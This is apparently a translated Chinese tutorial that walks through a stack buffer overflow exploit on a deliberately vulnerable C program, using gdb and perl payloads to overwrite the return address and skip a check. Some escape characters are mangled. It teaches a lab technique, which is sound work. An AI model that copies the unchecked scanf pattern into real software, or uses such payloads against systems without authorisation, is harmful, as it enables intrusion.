背景
C 缓冲区溢出背后的基本思想非常简单。您有一个缓冲区,这是一块保留用于存储数据的内存。在堆栈的外部(在 x86 和 x86_64 上向下增长,这意味着随着内存地址变大,内存地址会下降),程序的其他部分被存储和操作。通常,我们进行黑客攻击的想法是按照我们认为合适的方式重定向程序流。对我们来说幸运的是,对堆栈的操作(堆栈“粉碎”)可以让我们做到这一点。通常,您会希望获得特权,通常是通过执行 shellcode - 或者无论您的最终目标是什么,但出于本教程的目的,我们只会将程序流重定向到我们无法访问的代码(在实践,这几乎可以是任何事情;甚至包括执行未正式存在的指令)。这是通过写入越过缓冲区的末尾并任意覆盖堆栈来完成的。
先决条件
你需要一些耐心,一个 C 编译器(我正在使用 gcc,我建议你继续使用它),以及 gdb(调试器,我亲切地称之为 giddabug),以及一台 Linux 机器或 VM,和 perl 或 python(本演练使用 perl)。
我的环境是:
gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04) GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2 Linux jerkon 5.11.0-41-generic #45~20.04.1-Ubuntu SMP Wed Nov 10 10:20:10 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux This is perl 5, version 30, subversion 0 (v5.30.0) built for x86_64-linux-gnu-thread-multi |
---|
易受攻击的代码
该程序容易受到缓冲区溢出的影响:
代码语言:javascript复制#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main() {
char u[16];
volatile int p = 0;
scanf("%s", u);
if (p != 0) {
printf("How u do dat?n");
}
else {
printf("Nope.n");
}
return 0;
}
在阅读代码时,您会注意到我们分配了一个 16 字节的字符数组 u,但随后我们使用 scanf 来引入用户输入,而没有检查用户输入的数据长度。使用命令编译代码gcc pwnme.c -o pwnme -fno-stack-protector -ggdb
。您需要 -ggdb 才能在 gdb 中看到 C 源文件,并且需要 -fno-stack-protector 以便堆栈粉碎保护不会编译到二进制文件中进行测试。
开发
只需运行它并按几个(超过 16 个!)随机键,您就会覆盖堆栈。除非仔细挑选输入的数据,否则这通常只会导致崩溃,更常见的是所谓的分段错误。
代码语言:javascript复制[marshall@jerkon]{11:14 PM}: [~/Hack/bof_wt] $ ./pwnme
abcdefghijklmnopqrstuvwxy and z
Nope.
Segmentation fault (core dumped)
[marshall@jerkon]{11:39 PM}: [~/Hack/bof_wt] $
现在,您可以使用命令火了GDB和拉在我们的二进制:gdb ./pwnme
。然后您应该会看到一些版本信息,并且假设您之前使用 -ggdb 在调试符号中编译,您应该看到:
Reading symbols from ./pwnme...
(gdb)
为了感受手头的代码,我通常做的最重要的事情之一是输入 disas main
(反汇编的缩写)。您可以将 main 替换为从代码中调用的任何函数名称,包括使用的库。
(gdb) disas main
Dump of assembler code for function main:
0x0000000000001169 < 0>: endbr64
0x000000000000116d < 4>: push %rbp
0x000000000000116e < 5>: mov %rsp,%rbp
0x0000000000001171 < 8>: sub $0x20,%rsp
0x0000000000001175 < 12>: movl $0x0,-0x14(%rbp)
0x000000000000117c < 19>: lea -0x10(%rbp),%rax
0x0000000000001180 < 23>: mov %rax,%rsi
0x0000000000001183 < 26>: lea 0xe7a(%rip),%rdi # 0x2004
0x000000000000118a < 33>: mov $0x0,�x
0x000000000000118f < 38>: callq 0x1070 <__isoc99_scanf@plt>
0x0000000000001194 < 43>: mov -0x14(%rbp),�x
0x0000000000001197 < 46>: test �x,�x
0x0000000000001199 < 48>: je 0x11a9 <main 64>
0x000000000000119b < 50>: lea 0xe65(%rip),%rdi # 0x2007
0x00000000000011a2 < 57>: callq 0x1060 <puts@plt>
0x00000000000011a7 < 62>: jmp 0x11b5 <main 76>
0x00000000000011a9 < 64>: lea 0xe65(%rip),%rdi # 0x2015
0x00000000000011b0 < 71>: callq 0x1060 <puts@plt>
0x00000000000011b5 < 76>: mov $0x0,�x
0x00000000000011ba < 81>: leaveq
0x00000000000011bb < 82>: retq
End of assembler dump.
(gdb)
马上,您应该会在内存中看到一堆不同指令序列的位置。
您可以通过键入list 11
which 应显示第 11 行前后 4 行的 C 源代码来了解您想要放置的代码的位置;你想降落的地方,在 printf("How you do dat?n");
。您的 gdb 会话现在应该如下所示:
(gdb) list 11
6 int main() {
7 char u[16];
8 volatile int p = 0;
9 scanf("%s", u);
10 if (p != 0) {
11 printf("How u do dat?n");
12 }
13 else {
14 printf("Nope.n");
15 }
(gdb)
我们现在将在第 10 行插入一个断点,if (p != 0)
即我们想要规避的条件检查。
(gdb) break 10
Breakpoint 1 at 0x1194: file pwnme.c, line 10.
(gdb)
您还应该在第 11 行插入一个断点,以便在您到达正确位置时通知您。
下一部分需要一些反复试验,您需要弄清楚可以在缓冲区 u 末尾插入多少个 A(十六进制 0x41),直到完全覆盖 RIP 地址(返回指令指针)。
当您找到最大覆盖时,它应该看起来像这样:
代码语言:javascript复制(gdb) r <<< $(perl -e 'print "A"x30')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/bof_wt/pwnme <<< $(perl -e 'print "A"x30')
Breakpoint 1, main () at pwnme.c:10
10 if (p != 0) {
(gdb) c
Continuing.
Nope.
Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
(gdb)
如您所见,我们遇到了分段错误,并且在发生错误时,RIP 指向 0x414141414141
一个不存在的内存位置。您可以通过两种方式检查:
(gdb) info reg
rax 0x0 0
rbx 0x5555555551c0 93824992235968
rcx 0x7ffff7ece1e7 140737352884711
rdx 0x0 0
rsi 0x55555555a2b0 93824992256688
rdi 0x7ffff7fab4c0 140737353790656
rbp 0x4141414141414141 0x4141414141414141
rsp 0x7fffffffe070 0x7fffffffe070
r8 0x6 6
r9 0x7c 124
r10 0x7ffff7fa8be0 140737353780192
r11 0x246 582
r12 0x555555555080 93824992235648
r13 0x7fffffffe150 140737488347472
r14 0x0 0
r15 0x0 0
rip 0x414141414141 0x414141414141
eflags 0x10246 [ PF ZF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) p/x $rip
$5 = 0x414141414141
(gdb)
现在程序已经运行,崩溃,并留下一些寄存器供 gdb 检查,你应该再次运行disas main
,这次你的内存位置应该以 0x5555555 为前缀。
您现在可以运行info breakpoints
,您将看到如下内容:
(gdb) info breakpoints
Num Type Disp Enb Address What
1 breakpoint keep y 0x0000555555555194 in main at pwnme.c:10
breakpoint already hit 1 time
2 breakpoint keep y 0x000055555555519b in main at pwnme.c:11
(gdb)
所以现在您知道原始 C 程序中的第 11 行对应于内存位置 0x000055555555519b
。您也可以查看将在该位置执行的确切指令:
(gdb) x/i 0x000055555555519b
0x55555555519b <main 50>: lea 0xe65(%rip),%rdi # 0x555555556007
(gdb)
到现在为止,您可能已经看到了发展方向。我们将要覆盖返回指针, 0x55555555519b
以便跳过 p 条件。
您需要重新计算 A 的数量作为要使用的填充,通常是您使用的数字 - 6。
由于字节顺序,内存中的地址将向后,因此为了说明这一点,让我们尝试:
代码语言:javascript复制(gdb) r <<< $(perl -e 'print "A"x24 . "x66x55x44x33x22x11"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/bof_wt/pwnme <<< $(perl -e 'print "A"x24 . "x66x55x44x33x22x11"')
Breakpoint 1, main () at pwnme.c:10
10 if (p != 0) {
(gdb) c
Continuing.
Nope.
Program received signal SIGSEGV, Segmentation fault.
0x0000112233445566 in ?? ()
(gdb) p/x $rip
$12 = 0x112233445566
(gdb)
我们现在准备插入我们的内存位置0x000055555555519b
。值得注意的是,前导零无关紧要,应在此处省略。此外,如果需要使用它,00
因为这会转换为 NULL,并且如果遇到 NULL 字符,代码执行就会停止,您需要找到另一种使用现有指令的方法。
所以关键时刻,要使这项工作正常进行,您需要更改0x55555555519b
编译器在内存中分配指令的位置。可能和我的不一样!
(gdb) r <<< $(perl -e 'print "A"x24 . "x9bx51x55x55x55x55";')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/bof_wt/pwnme <<< $(perl -e 'print "A"x24 . "x9bx51x55x55x55x55";')
Breakpoint 1, main () at pwnme.c:10
10 if (p != 0) {
(gdb) cont
Continuing.
Nope.
Breakpoint 2, main () at pwnme.c:11
11 printf("How u do dat?n");
(gdb) cont
Continuing.
How u do dat?
Program received signal SIGBUS, Bus error.
main () at pwnme.c:17
17 }
(gdb)
结论
看来我们做到了!我们终于达到了断点 #2 并且能够执行 处的指令 0x55555555519b
,打印“How u do do dat?”。
这个缓冲区溢出是非常微不足道的,大多数需要更多的工作来利用。但是,您现在应该获得一个一般概念,并在此过程中了解一些有关 gdb 的知识。